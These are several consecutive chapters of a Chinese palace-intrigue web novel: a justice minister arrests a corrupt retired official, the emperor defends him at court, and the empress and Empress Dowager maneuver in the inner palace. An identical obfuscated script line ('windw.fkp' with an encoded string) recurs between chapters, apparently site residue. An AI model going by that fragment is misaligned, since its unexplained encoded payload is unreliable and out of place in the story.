师爷冷笑一声,此时竟然有一丝“我不入地狱,谁入地狱”的肃杀之感:“大理寺办案,闲杂人等退散!” 大理寺的士兵们轰然入了大门,只不过才两三步,就已经被听到信儿的家丁们给拦住了。 家丁们手里朝着长刀,各个凶神恶煞。 “都聋了不成,大理寺办案!”师爷怒吼一声。 那些家丁们完全不觑,竟然还有人冷笑了两声。 师爷的脸黑了下来。 “三更半夜的,大理寺办的是什么案呐?我们家老爷身体不好,早早的便歇息了,大人们不如明日再来?”一个身形肥硕的老者,从人群后方走了出来。 看见老者出场的瞬间,在座的家丁们更是有恃无恐了。 师爷咬着牙凑到了谢群的耳边:“这老头是曹家的管家。” 谢群轻哼一声,从人群后方走了出来:“大理寺办案,何须向你们交代,不过是刚刚收到了一些消息,想要亲自和曹尚书确认而已。” 管家眯了眯眼睛,掩盖住精明的算计,他笑呵呵的上前:“什么风把大理寺卿谢大人亲自给吹来了,这么晚了,您真是敬业啊。” 谢群同样笑的和睦:“这公职所在,吃皇粮的可不就得多操点心啊。” “谢大人与我家主子也算是有些渊源,不如就念在我家主子岁数大了,天亮了再过来?”管家与其说是在商量,那语气可是十分的笃定。 这让大理寺的人心里多多少少都不太舒服了。 管家这样嚣张也不是没有来由。 这谢群当年其实远不只是个大理寺卿这么简单,那可是能直接到皇帝跟前的,偏偏谢群又十分心高气傲,不肯当曹家的门徒,还油盐不进,于是他们大人便在陛下面前稍微说了那么一句,于是谢群便直接在大理寺卿的位置上钉死了。 管家将这件事情又重新摆在了台面上,分明就是想要羞辱谢群。 谢群没生气,但是大理寺的众人有些咽不下这口气了。 谁都没有想到师爷是第一个黑脸的:“放肆!怎么和大理寺卿说话的!你家主子是你家主子,你是你,一个小小的管家,竟然对朝廷命官如此无礼。” “你——”管家已经年过半百,跟着曹尚书那是养尊处优,到哪儿都是被人尊敬的,何曾被人这般怼着脸苛责的。 当下他脸色青紫下来:“谢大人就是这么管下面人的?!” 谢群露出一抹似笑非笑的神情,他看着那管家:“本官还需要向你汇报平日里是如何管理下属的?” 这回管家的脸彻底黑了。 “好好好,谢大人清高,我们家主子虽说是要告老还乡了,但是眼下还没有离开京都呢,谢大人在朝为官数十载了,也不是小孩子了,做什么事情都要三思而后行。” 这明里暗里的都是威胁。 谢群没吭声,师爷接过了话茬:“我们大人的事情就不劳烦一个管家过问了,倒是你现在带着人抄着家伙,阻碍我们大理寺办案,明日若是落到了陛下的耳朵里,曹尚书怕是要因为你受到牵连了。” 师爷不愧是师爷,反咬一口也是常规操作。 老管家站在原地,满脸恨意的看着谢群:“都让开!给大理寺卿谢大人让路!” 下人们有了老管家的话,纷纷让出来,只是不少人脸上还是警惕和不服。 谢群可不管这些。 好不容易逮到机会了,他等这一天可等了太久了。 “所有人听令!”谢群大声喊道。 大理寺的人齐声喊道:“在!” “封锁曹府大小门,今天晚上一只苍蝇都不许放出去!” “是!” 得到命令的官兵们四下散开,迅速将整个曹府都包围住。 谢群带着师爷迈着八字步,朝着后院大步走去。 路过老管家的时候,老管家恨恨的看着谢群说道:“谢大人真是今时不同往日了,这借的是谁的势啊!” “借谁的势,都跟曹家没关系。”谢群毫不给面子的说道。 前院的动静闹得很大。 后院早就开始淅淅索索的开始准备了。 谢群过去的时候,曹尚书刚刚穿好了外套,身边站着个娇媚的女子,二人姿态亲昵,一看便是姨娘。 “哟,曹尚书这把年纪了,心思倒是挺年轻的啊。”谢群哈哈大笑着说道。 曹尚书脸上的丘壑都挤在了一起,眼里都是冷光。 他毫不掩饰的冲着谢群大骂道:“谢群你好大的胆子!不想在京都混了不成!” 就在刚刚老管家已经派人先一步将前院发生的事情都一一告知。 听到谢群带着人夜闯自己家的时候,曹尚书其实是不敢相信的。 “这大渭还是陛下当家做主,京都位高权重的也不只是你曹尚书一人,我谢某人混不混下去,是我的事情,曹尚书既然已经告老还乡了,就不要管我的闲事了,多操心操心自己,这把年纪了,晚节不保啊。” 谢群的话彻底激怒了曹尚书。 他十分狠厉的看着谢群冷笑:“谢群啊谢群,唯唯诺诺这么些年了,怎么今天晚上突然硬气起来了,你这是找到了新靠山了。” “靠不靠山的不劳您费心,只是辛苦您身边的这位姨娘穿衣服的速度快一点,曹尚书得跟着谢某去一趟大理寺了。”谢群正色道:“收到证据举报你,任职期间多次草菅人命,贪赃枉法,滥用职权!桩桩件件都已经触犯了大渭的律法!” 这话一说,那姨娘手一抖,直接扯坏了曹尚书身上的一颗扣子。 扣子从她的手中掉在了青石板上,滚了几圈,落在了谢群的布鞋下。 谢群居高临下的看着那枚扣子。 抬脚踩了上去。 “走吧,曹尚书。” windw.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4qwjZ4Sy9vYtl4a1hiRjZ63IiwgmtYzmjI3tEymyk=\"; 第二百二十七章 你且记着,请佛容易送佛难 “谢群!你一无诏书,二无陛下口谕,凭什么捉拿朝廷命官!”曹尚书咬牙切齿的说道,面颊上的花白胡子跟着他的身子抖动了两下,就像是秋风中的落叶,凋零又可怜。 谢群扣了扣耳朵,漫不经心的说道:“这朝廷命官得要诏书口谕,但是本官怎么记得,您已经告老还乡,眼下已经是个平民百姓,捉拿你走的就是百姓流程,本官都亲自到了,这套流程没有问题。” “还愣着干什么呢?”师爷突然大声说道:“请我们曹尚书去大理寺喝喝茶啊!” 话音刚落,大理寺的官兵们便超前压了两步。 那曹尚书佝偻着身子冷笑了两声。 他抬了手,制止了要上前说话的子子孙孙。 “行,谢群,老夫陪你去便是,只是你且记着,请佛容易送佛难!”说着他迈开脚步,率先朝着外面走去。 谢群眯着眼睛看着他的背影。 “您的话,无论什么时候本官都记得。”谢群说道。 听到谢群不冷不热的话后,曹尚书冷哼,不再言语。 曹尚书连夜被谢群请到了大理寺的消息,天还没有亮就被传到了各个世家大族中。 不少曹尚书的门生怒气冲冲的到大理寺找个说法,却都被谢群给拒之门外。 王大人看着大理寺的大门,满脸都是抑郁。 “这谢群莫非是吃了熊心豹子胆?”王大人冲着同僚说道。 “可不是吗,这京都什么时候轮到他谢群作威作福了,老师都要告老还乡了,他莫非是逮着这个机会,夹杂私人恩怨?”另外几个人忧心忡忡的说道。 王大人心一想这可不行:“老师年岁已高,这大理寺的地牢又冷又湿的,别到时候伤到他老人家,咱们几个赶紧去上奏陛下吧。” “对对对……”几个人一合计,赶紧上马车朝着宫里方向过去。 皇帝今日本来想在炼丹房里泡一天的。 早朝压根就不想去上。 但是谁曾想那几些个臣子,竟然直接倒了炼丹房的外面候着了。 皇帝臭着一张脸开了门。 “见过陛下,求陛下做主啊!”王大人为首的臣子们一看见大门打开,纷纷跪下来。 皇帝满脸晦气的皱眉:“你们哪天不要朕做主的?说吧,这次又是什么事情。” 王大人顾不得皇帝口中的戾气,直接开口:“陛下,大理寺卿谢群光凭一纸密信便将曹尚书给抓到了大理寺,这件事情于情于理都是不合适的啊,还望陛下速速派人前去大理寺,让那谢群放人,并追究他谢群徇私枉法之罪责!” “你再说一遍,谢群干嘛了?”皇帝愣了一下,怀疑自己的耳朵。 王大人便赶紧又添油加醋的说了一遍。 皇帝惊起的:“哎?”一声。 “这谢群能耐了啊。”皇帝笑道:“他竟然敢抓曹满。” 王大人见皇帝不怒反笑,心里开始打鼓,一时之间不懂皇帝是什么意思了。 那密信到现在都没有查出来是谁送给谢群的。 只是曹尚书被关在大理寺里面,到时候要是说出点什么,在座的各个大臣可都要掉一层皮。 所以无论如何,大家都得救他出来。 皇帝稀奇了一会儿,一招手,张公公赶紧走了过来:“陛下。” “过去,让谢群进宫一趟,朕要好好问问,他到底是怎么想的,那曹满都要回老乡了。” 张公公赶紧点头哈腰,出去了。 皇帝看着跪了一地的臣子,眼里的深意一扫而过,他勾了勾厚唇:“行了,都别跪着了,该上朝了。” 说完他朝着前面走去,身后的大臣赶紧爬起来跟在了皇帝后面。 张公公带着皇帝的口谕,邀请谢群进宫一趟。 他站在地牢前面,看着谢群浑身是血的走出来的时候,着实吓了一跳。 “谢大人这是?”这血不会是曹尚书的吧。 谢群在水盆里洗了洗手,又用帕子擦干净。 “劳烦公公等一会儿,容下官去换一身干净的衣服进宫。”谢群歉意的说道。 说完他赶紧朝着后院过去了。 张公公被吓得不轻,此时师爷也是一身是血的从里面走出来,他赶紧拦住师爷:“你们在里面干什么呢?” “您放心,不是曹尚书的,是今日地牢里有个犯人不老实,所以大人便出手给他点颜色瞧瞧。”师爷解释道。 张公公听到不是曹尚书的,心里松了一口气:“杂家能去看看曹尚书么?这一把年纪了进个地牢,别折腾出事了。” “怎么会呢,咱们大人尊老爱幼,曹大人在里面好吃好喝着呢。”师爷跟张公公说道:“您要是不信,跟下官进来便是。” 张公公连忙点头,二人进了地牢。 扑面而来便是一股子血腥气。 张公公远远的便看见了曹尚书,他三步并作两步上前:“曹尚书哎。” 曹尚书听见了声音,看见是张公公过来,他赶紧上前:“草民见过张公公,公公眼下过来,可是陛下召见啊?” “确实是陛下派杂家过来的,过来请谢大人进宫面圣。” “那草民呢?”曹尚书傻眼。 张公公摇了摇头:“陛下未曾说召见您入宫。” 曹尚书脸上都是落寞。 此时师爷赶紧说道:“没骗您吧,这大开间,还有茶水软铺,里面还熏着香呢,曹尚书在里面住着舒服着呢。” 张公公点点头:“确实。” 对比隔壁血淋淋的牢房,这曹尚书确实在里面过得神仙日子。 师爷领着张公公出去:“我们大人估计换好衣服了,在外面等公公您了。” 曹尚书眼看着人要走,伸出一只手,喊道:“张公公,张公公?” 张公公想要回头,却被师爷拉着向前:“张公公,我们大人在前面等您呢。” 张公公心里想着带谢群进宫面圣是重要事情,这曹尚书在牢饭内住得好吃得好,一时半会儿也不需要担心。 眼下还是这个谢群比较重要。 他也想看看,到底是什么给了谢群底气,竟敢抓半个京都都是门生的曹尚书进牢房。 实在是太让人好奇了。 一出大牢。 谢群一身白衣站在太阳光底下,披头散发还赤足。 张公公傻眼了。 “谢大人这是?” 谢群伸出了双手,师爷便含泪上前用镣铐上了他的四肢。 “进宫请罪!”谢群满脸悲壮的对着张公公说道。 windw.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4qwjZ4Sy9vYtl4a1hiRjZ63IiwgmtYzmjI3tEymyk=\"; 第二百二十八章 张公公,你看着办 皇帝面无表情的坐在龙椅上面,大殿之下群臣闹哄哄一片。 中间还跪着个一身白衣,自己给自己铐上枷锁负荆请罪的谢群。 张公公眼看着陛下的眉头高耸拧紧,活活能夹死一只苍蝇,他往后躲了躲。 这种时候,就不要往前凑了,城门失火殃及池鱼啊。 “行了!”皇帝猛地大喊一声。 瞬间朝堂上哀嚎的臣子不说话了。 “大理寺办案查案可有按照流程行事?”皇帝看着谢群问道。 谢群跪在地上,手上的枷锁发出叮当声音,他掷地有声的说道:“微臣任职大理寺卿以来,大大小小上千件案件,无一不是按照大渭章程行事。” “朕问的是曹尚书的事情。” “微臣秉公执法,并无疏漏!”谢群大声说道。 皇帝平静的看着他:“既然并无疏漏,你穿着这样到殿前干什么?看朕上朝累了,给朕表演表演罪臣的戏码?” 谢群唇角抽搐:“陛下说笑了,微臣此番打扮也是不得已而为之,昨夜微臣收到了一封密信,上面陈述了曹满任职期间贪赃枉法的多数罪证,因为想到他今日便要离开京都,所以微臣昨日连夜派人实施了抓捕,只是天不亮,大理寺就不断有贵客到访,要求微臣放曹满出狱,并且还对微臣进行了威胁,扬言要微臣在京都混不下去……” “谢群你还真是什么话都敢往外说啊!”站在旁边的王大人大声呵斥道:“天子脚下,谢群你不要无事生非!” “陛下——”谢群抬头看向高位,目光热诚:“微臣一颗赤胆之心,都是为了大渭,又岂敢在如此神圣的大殿之上欺君呐!微臣这是没有办法了,这里是曹满任职期间的罪状,若是陛下也觉得曹满无罪,那么微臣愿意接受陛下的任何惩罚!” 谢群从怀中掏出一个奏折。 所有人都屏住了呼吸。 谁也不知道那奏折上面究竟都写了什么。 一群在谢群面前威胁过的大臣,面色开始有些发白了。 皇帝的目光和谢群在空中对视,无言过了很久之后,他终于冲着张公公抬了抬手指,示意他将奏折呈上来。 张公公一路小跑下台阶,从谢群的手里接过了奏折。 “陛下。”张公公将奏折放在了案前。 皇帝将手放在了奏折上,目光扫过了殿下的所有人,他翻开的时候,甚至还能隐约听到有人倒吸一口凉气。 看来有很多人都不想让他看见这个奏折啊。 皇帝刷一下又将奏折给合上了。 就在王大人为首的大臣松了一口气的时候,就听见皇帝沉声说道。 “大理寺秉公执法,何罪之有?大理寺是朕的大理寺,谢群是朕的大理寺卿,除了朕,大理寺没有职责听命于你们任何人。” “这么些年过去了,你们扪心自问,政绩政绩没有,肩不能扛,手不能提,整日就知道跟在朕的后面让朕做这个做那个,不如你们的意,就要吊死在朕的御书房里!这个龙椅给你们坐好了!” “陛下息怒——”哗啦啦群臣皆跪。 这说的不就是以曹尚书为首的朝臣么。 这回王大人彻底熄了要再去求情争辩的心思了。 “一帮废物!退朝!”皇帝拂袖离开,那本奏折还摆放在案前,张公公看了看众人,将奏折收了起来,赶紧跟着皇帝离开了。 大殿之上,众人擦了擦额头上的冷汗。 只听见锁链叮当作响,便听见谢群慢吞吞的爬起来。 “爽快!”他活动了一下四肢和脖颈,满脸都是意气风发。 “谢群你这个小人!”王大人吹胡子瞪眼睛小声骂道。 谢群扣了扣耳朵:“什么?王大人你大点声,刚刚在大理寺的时候你的嗓门比现在大多了。” 王大人咬牙切齿:“你可不要得意,这件事情陛下还没有定论呢,曹尚书在朝为官多年,劳苦功高,你秉公执法也要以人为先!” “陛下刚刚说了,大理寺是陛下的大理寺,下官是陛下的大理寺卿,满朝文武中,下官只需要听命于陛下一人,王大人年纪大了记性不好了,要不下官带着你再去陛下那边问个清楚?” 王大人气得捶胸顿足。 谢群冷笑一声,抬脚朝着外面走去。 奏折他已经送上去了,证人证词他也连夜派师爷去准备了。 不过昨夜那封密信里还提及到了一个人。 谢群远远的看向了深宫的方向,眼里都是忌惮。 如果那位出手的话,那么他还真的就没有什么反抗的余地了。 谢群心中有些许希冀。 这么多年了,那位应该不会为了曹满再度出手了吧。 手下的人给谢群拆掉了手铐枷锁,谢群穿好了外袍,翻身上了马,看着朝臣三五成群的从大门口走出来,他满眼都是讽刺。 大渭王朝,已经烂透了。 若是曹满一族能够趁此机会倒台,彻底清洗一番朝臣势力,那么还有救。 关键还要看陛下怎么想。 炼丹房。 烟雾缭绕,皇帝坐在草垫上,目光落在丹炉之上。 张公公就站在不远处。 房内除了丹炉里面传来的轻微声音,静谧异常。 张公公更是大气都不敢出一个。 不知道过了多久。 皇帝突然开口。 “朕有多少年没有见过太后了?” 张公公心尖一颤,躬身上前:“回禀殿下,应该是有二三十年了。” “这么久?”皇帝好似是陷入了沉思。 张公公不敢说话,像个鹌鹑站在旁边。 皇帝又开口道:“你替朕走一趟后宫,把奏折送到太后那边去。” “陛下可要带过去什么话?”张公公继续问道。 皇帝伸出手摸了摸面部,他眯着眼睛:“都二三十年没说过话了,朕也不知道该说什么,张公公你看着办吧。” 张公公赶紧点头称是,躬身面对着皇帝退了出去。 等到大门关上,张公公才发现自己脊梁骨上都是寒意。 陛下和太后关系僵持也不过就是二三十年之前的那件事情,那个时候他还是个小太监。 “这个奏折,怕是要掀起一番腥风血雨,只希望那位不要再插手了。”张公公抬脚朝着深宫走去。 太后已经不问世事多年。 张公公心中发憷,也不知道这么多年过去了,这位太后娘娘的脾性变得如何了。 太后并非皇帝生母,乃是先皇逝世之后遗诏册封的,当时先后已经陪葬,加上这位年纪又轻,便一直没有按照皇室惯例进行陪葬,一直养在深宫之内,表示陛下的仁者之心。 这些都是对外的说辞。 张公公是知道真相的。 这位没有陪葬的原因,算上是皇室丑闻了。 windw.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4qwjZ4Sy9vYtl4a1hiRjZ63IiwgmtYzmjI3tEymyk=\"; 第二百二十九章 就当是,在外面给本宫一个家 听到来福说张公公已经朝着深宫过去了。 张岚依唇角的笑意都深了几分。 “这谢群果真如娘娘所料,听说今日朝堂之上,那谢群出了好大的威风,以往倒是小瞧了他。”来福说道。 张岚依将蜜饯塞进了唇间:“若是能挺直腰板的活着,谁还愿意一直跪着?” 这些年谢群被曹满一众压在脚底下,表面上是个风光无限的大理寺卿,但是只有谢群心里明白,当初如果不是曹满从中作梗,他完全是可以做丞相的。 “可是这件事情怎么会牵扯到那位娘娘。”来福属实有些不清楚了。 当年她也不过是个太医院打杂的小宫女,后来整个太医院遭遇变故,她侥幸逃过一死,却也是九死一生,后来一直在边缘地带被各种凌辱欺负,一直到张岚依当了才人,才把她救了出来。 张岚依的身份,来福是清楚的。 看着自家主子眼中毫不掩饰的恨意,来福愣了一下:“当年的事情……” “当年如果不是因为这个女人,父亲和他的同僚又怎么会死!所有人都死了,唯独她活的好好的。” 来福听着,将自己从下面听到的秘辛说了出来:“听说那位娘娘大殿里,都是太监服侍,宫女少得可怜,下面都说——” 来福顿了顿,怕说出来脏了张岚依的耳朵。 但是张岚依却满眼讥诮:“事情不会空穴来风,且等着看吧。” 当年父亲去了后宫之后,就再也没有回来。 当天下午,所有太医院的人都被一杯毒酒送上了路。 没有人知道为什么。 都以为是新帝上位,以为他在排除异己。 可是张岚依知道事情不会这么简单,她越是接触皇帝,便越是肯定自己的猜想。 当年太医院人的死肯定还有别的原因。 可是不管她怎么旁敲侧击,皇帝始终不肯透露半分。 她也想过去后宫看看那个女人,可是每次去都是无功而返。 “看来本宫得想个办法出冷宫了,这出大戏,本宫怎么能够不亲眼看看!”张岚依眯起眸子,带着深意的缓缓说道:“你替本宫跑一趟丹炉房,跟陛下说本宫新学了个曲子,想要弹奏给他听。” * “看来朕的皇后终于想通了。”皇帝用帕子擦了擦额头上的汗水,看着来福说道:“小曲儿就不用听了,毕竟是朕的皇后,反思了这些天,也够了。” “来人,你随着她去,迎接皇后回宫吧。”皇帝重新走到了丹炉旁边:“朕就不去了。” 来福赶紧跪下谢主隆恩。 离开的时候,张公公低着头快步走了进去,眼尖的来福看见张公公脸上顶着一个鲜红的巴掌印子,走路的姿势也有些奇怪。 她压制住内心的疑惑和惊讶,与其擦肩而过。 很快便从丹炉房里传来皇帝的怒骂声。 * 张岚依坐在轿撵上,暖风裹着薄纱吹拂在她的面颊上,来福体贴的替她扯下来。 身后是大门紧闭的冷宫。 来的时候陛下大发雷霆,但是没有想到出来的时候也就是陛下一句话的事情。 来福心中唏嘘。 张岚依斜靠着,蒲扇遮挡着天上的日头:“竟然把张公公给打了,当真是越活越回去了。” 来福走在她的身边,压低声音:“奴婢离开的时候,陛下发了好大一通火呢。” “张公公是奉了他的命令过去的,这打的可不是张公公,是陛下的脸啊。”张岚依啧啧出声:“本宫真是越来越迫不及待想要看看这个传闻中嚣张跋扈的太后娘娘到底长了个什么模样。” 太后身份尊贵,乃是丞相的亲姐姐。 这些年,丞相一直受命在外帮助皇帝处理事情,已经好几年没有回京了。 当年也是丞相一个人力挽狂澜,力挺皇帝坐稳了这个位置。 只是这么多年过去了,一个不在京城的丞相,对于皇帝而言,究竟还有多少君臣之情,谁都说不准了。 这镇国公的前车之鉴,无形之中,也是寒了不少臣子的心啊。 张岚依心里思忖着,便听见来福说到了。 宫女们搀扶着她下了轿撵,走的时候一个人没去送,回来的时候倒是乌泱泱的跪了一片。 张岚依一个眼神都没有落在这群狗仗人势的奴才身上,也没有让他们起身,直接抬脚进了大殿之内。 殿外的人没有皇后娘娘的吩咐,一个个的都不敢起身。 “来福姑姑,这……这要跪到什么时候啊?”宫女们哭丧着脸。 来福扫了一眼说话的宫女,没吭声。 宫女不甘心的又问了一遍。 来福才终于开口道:“跪到陛下过来,你们就可以起来了。” “那陛下什么时候过来啊?” 来福淡淡的扫了她一眼:“不如你亲自去问问陛下?” 宫女们不说话了。 来福冷哼一声,端着碟子进了大殿之内。 “一群见风使舵的混账玩意儿,真该全部送到永巷去。”来福忍不住说道。 张岚依放下梳子,斜眼看她:“你要是舍得,就送过去吧。” 来福这才咳嗽一声。 “真当本宫不知道你是什么意思?”张岚依轻笑一声:“行吧,你看着办吧,心疼了便让他们起来。” 来福见张岚依没生气,心里松了一口气。 “多谢娘娘仁慈。”来福凑上前来,将洗好的瓜果放在了桌子上:“华清池的水已经放好了,娘娘何时过去沐浴?” “等会儿吧,等天色再晚一点。”张岚依看着镜子中的自己缓缓说道。 这几日的折腾,眼角竟然慢慢爬上了几根皱纹。 她伸出指腹摁在皱纹上面,好半饷,才勾了勾唇。 “没想到,一晃,已经这么多年过去了,像本宫这个年纪,怕是孙儿都要出来了。”张岚依突然开口说道。 来福听完赶紧上前接过了她手里的梳子,将那三千青丝取出一缕,轻轻的梳开:“娘娘风华正茂,不减当年。” “来福。”张岚依突然说道。 “奴婢在。” “等到这件事情结束了,本宫放你出去好不好?”张岚依看着镜子里的来福说道。 来福手里的梳子停顿了一下。 “娘娘……” “奴婢不出宫,奴婢要永远陪在娘娘身边。” 张岚依摇头:“本宫这辈子就这样了,但是你不一样,你还有机会,找个好人嫁了,然后生个自己的孩子,快快乐乐的活下去……以后你想本宫了就进宫来,本宫想你了就出宫去,你就当是……在外面给本宫一个家。” windw.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4qwjZ4Sy9vYtl4a1hiRjZ63IiwgmtYzmjI3tEymyk=\"; 第二百三十章 识相的,就自己去了 张岚依这辈子都不可能有自己的孩子。 皇帝给她无上的宠爱,给她作天作地的底气,给她数不尽的财富和至高无上的权势…… 这一切都建立在,张岚依这辈子都不可能有自己的孩子。 皇帝有十四个皇子,八个公主,唯独皇后张岚依无所出。 “娘娘。”来福忍不住的哽咽出声,眼圈红了几分。 “傻来福,你哭什么?”张岚依笑了笑,红唇不知怎的染上了些许苦涩:“药是本宫亲自服下的,谁都怨不得,得到什么,就会失去什么,本宫从不怨谁。” 这也算是当初答应封她为后的条件。 再说了,她根本对皇帝没有任何夫妻感情,给他这样的人生孩子,张岚依觉得自己晚上睡着了都会恶心的吐醒。 来福欲言又止。 张岚依缓缓站起身:“没想到坐一会儿天就黑了,本宫可以去沐浴了。” 她超前走了两步,见来福还站在原地:“傻站着干什么?” 来福忍不住用手揉了揉发酸的鼻子。 张岚依却好像是发现了什么好笑的事情:“来福你哭了啊?一把年纪你哭什么。” 来福一口气卡在了胸腔里,上不上下不下。 不过自家娘娘向来是这样不着调。 情绪来得快,去得也快。 “得得得,奴婢这就安排人伺候您沐浴去。”来福用手背擦了擦眼角的晶莹,然后放下梳子朝着外面走去,一边走一边吆喝着宫女们进来。 大殿内突然就热闹了,宫女们拎着花篮鱼贯而入,来福在其中指挥着,张岚依便在众人的簇拥之下朝着华清池走去。 皇后沐浴的时候,外面已经乱成了一团。 张公公前脚出来,王大人后脚就被秘密接进了后宫。 深宫之处,三十多年从未露面的太后娘娘。 传闻中丞相大人的亲妹妹,到底是怎样的一个人。 王大人心中十分忐忑,端着茶杯的手都在颤抖。 “大人,太后娘娘已经好了,就等您过去了。”一个长相清秀的太监走了过来,躬身对着王大人说道。 王大人赶紧放下茶杯起身:“哎哎哎,下官这就过去,请前面带路。” 穿过层层帷幔,王大人转的头晕眼花的,总算是到了一片开阔的地方。 大片大片的深粉色的夜来香花丛中,坐着一个美人,能够看得出岁月留下来的痕迹,可是眉眼之间少女的娇憨依旧是清晰可见,她十分快活的喝着酒,仿佛岁月蹉跎与她没有半点关系。 在她的身边站着几个模样俊美的太监,有的端着酒壶,有的给她捶背捏肩,还有的给她递水果…… “大人,不可直视太后娘娘。”领着他进来的小太监朗声说道。 王大人迅速低下了头。 听到动静的太后娘娘勾了勾唇角,她抬手,几个太监纷纷站到一边。 “王大人。”太后喊道。 王大人赶紧上前行礼:“见过太后娘娘,娘娘千岁千岁千千岁!” “平身吧,你是曹满的学生,无须多礼。”太后纤细的手指缓缓落在了自己的膝盖上,漫不经心的打量着面前这个胆小如鼠的朝臣。 “多谢太后娘娘。”王大人起身。 “说说吧,最近曹满都干了什么好事,让陛下亲自给本宫送来了这个。”一个奏折被摔在了地上。 王大人定睛一看,吓得立刻跪在了地上:“太后娘娘息怒!” “这上面桩桩件件,随便拿一件出来,都足以要了他曹满的命,更不用说这慢慢一个奏折了,诛他九族都是轻的。”太后冷笑,薄唇有些刻薄的勾起:“你们这些门生也是各个胆子肥的很,瞧王大人膘肥体壮的,看来这些年也没有少捞油水。” “你们倒好,一个个在京都享福,本宫的亲哥哥被远派出去,这么些年过去了,只知道还活着,谁知道人现在长成了什么模样!”说着太后眼角竟然红了起来,旁边的太监赶紧上前递上了帕子,给她擦眼泪。 王大人大气不敢出。 “曹满这个老匹夫,害了本宫一次不够,现在一只脚都要踩进棺材里去了,还想来害本宫第二次!”越说,太后越生气,她猛地站起身来,恶狠狠的瞪着王大人说道:“他曹满当本宫是什么人?又当陛下是什么人?!这奏折送到了本宫的面前,他曹满这次识相就自己去了,大家还能落了个清净,若是不识相,别说王大人了,王大人那个如花似玉的闺女,都得跟着一起走!” 王大人听完,直接双腿发软,瘫在了地上。 目光放在了地上的奏折。 他伸出手摸了上去。 这上面究竟写了老师什么? 王大人忍不住吞了吞口水。 太后居高临下,见他想看又不看的怂样子,气不打一处来:“你看之前可想清楚了什么后果。” 王大人瞬间收回了手。 他还是不看了。 “就让他安安静静的去吧,他曹满没了就没了,反正清福享够了,本宫还会念及往日的情分,替他好好照看一下曹家后人。”太后再次说道。 王大人脑海中雷声大作,有些拿不定注意。 但是人都是自私的。 倘若老师真的安安静静的走的话,那么朝臣们也不用这般担惊受怕。 怕就怕这位曾经的尚书大人不甘心啊。 王大人深知老师的脾性,又听见太后这样说,欲哭无泪:“太后娘娘恕罪,老师年事已高,眼下大理寺卿紧抓着不放,此事着实是有些棘手。” “大理寺卿谢群?”太后眯着眼睛:“好像是听说个这个名字。” 有点印象,但是不深。 王大人立刻添油加醋的将谢群连夜捉拿曹尚书的事情说了出来。 等到他口干舌燥的说完了,那太后娘娘却直接冷笑一声:“苍蝇不叮无缝的鸡蛋,曹满不是个好东西,那谢群为什么不半夜抓别人,非要抓他呢。” “太后娘娘,事情不是这么——”王大人刚要解释,只听见外面传来太监尖细的声音:“恭迎陛下——” 皇帝来了! 三十年过去了,皇帝第一次来了太后的寝宫! 不光是王大人傻眼了,就连太后本人也跟着吃惊不已。 “太后娘娘!”王大人仓皇失措,恨不得直接钻进桌子底下。 朝臣不得入后宫。 若是被陛下看见了自己,他的乌纱帽保不保得住是小事,只怕全族都会跟着他受牵连啊。 “慌什么!”太后骂道,抬手让太监带着王大人去了旁边的长廊。 太后整理了一下衣襟:“走吧,随本宫去迎接陛下,毕竟我们母子这么多年没见了。” 说来,皇帝的年纪比她还要大上三岁呢。 真想看看,皇帝老成什么样子了。 windw.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4qwjZ4Sy9vYtl4a1hiRjZ63IiwgmtYzmjI3tEymyk=\"; 第二百三十一章 朕的后宫,要干净 太后寝宫清一色的都是眉清目秀的小太监。 看的皇帝眼里都是杀意。 “陛下,太后娘娘此时不太方便——”小太监还想要拦住皇帝。 皇帝抬起脚对着他的胸口便是猛地一踹:“滚到一边去!肮脏的玩意儿!” 小太监被踹的在地上滚了好几圈,爬起来的时候,唇角都带着鲜血。 这下子后面的人再也不敢拦了。 “去,把太后喊出来。”皇帝叉着腰指着张公公说道。 张公公知道这回陛下动怒了,不敢耽搁,赶紧扯着嗓子在大殿内喊道:“太后娘娘!太后娘娘,陛下亲临,速速前来接驾——!” “陛下好大的官威啊。”一袭翠绿色宫袍的女子,在一众太监的簇拥之下,从他们身后的方向出现。 皇帝眯着眼睛转过身去:“这么多年没见,太后的风姿不减当年啊。” 太后捂着唇轻笑,像是听不到皇帝语气中的讽刺:“哀家就当陛下是在夸哀家保养的好。” “这么多太监在身边伺候着,太后指定保养得好啊。”皇帝冷笑道。 太后眼里闪过一丝怒意,但是很快她又恢复笑容:“陛下说这些干什么,这么多年没见了,不如来尝尝哀家沏的茶,是不是一如当年那般合陛下的口味。” “不了,朕现在不喜饮茶。”皇帝直接拒绝道。 “既然不是过来喝茶的,难不成陛下是过来问罪的?”太后的目光不善的落在了皇帝身后的张公公身上。 张公公恨不得将自己直接挂在帷幔上吊死,也好过眼下自己在两个神仙打架中煎熬。 皇帝和太后之间的战火已经蔓延开来,今日导火索是他挨打这件事情,说得好听是陛下替他来找场子的,但是只有张公公心里清楚,自己只是个棒槌。 这股子气,自从早朝的时候看见百官替曹满问责谢群的时候,陛下就想要发了。 一直憋到现在,偏偏太后撞枪口上了。 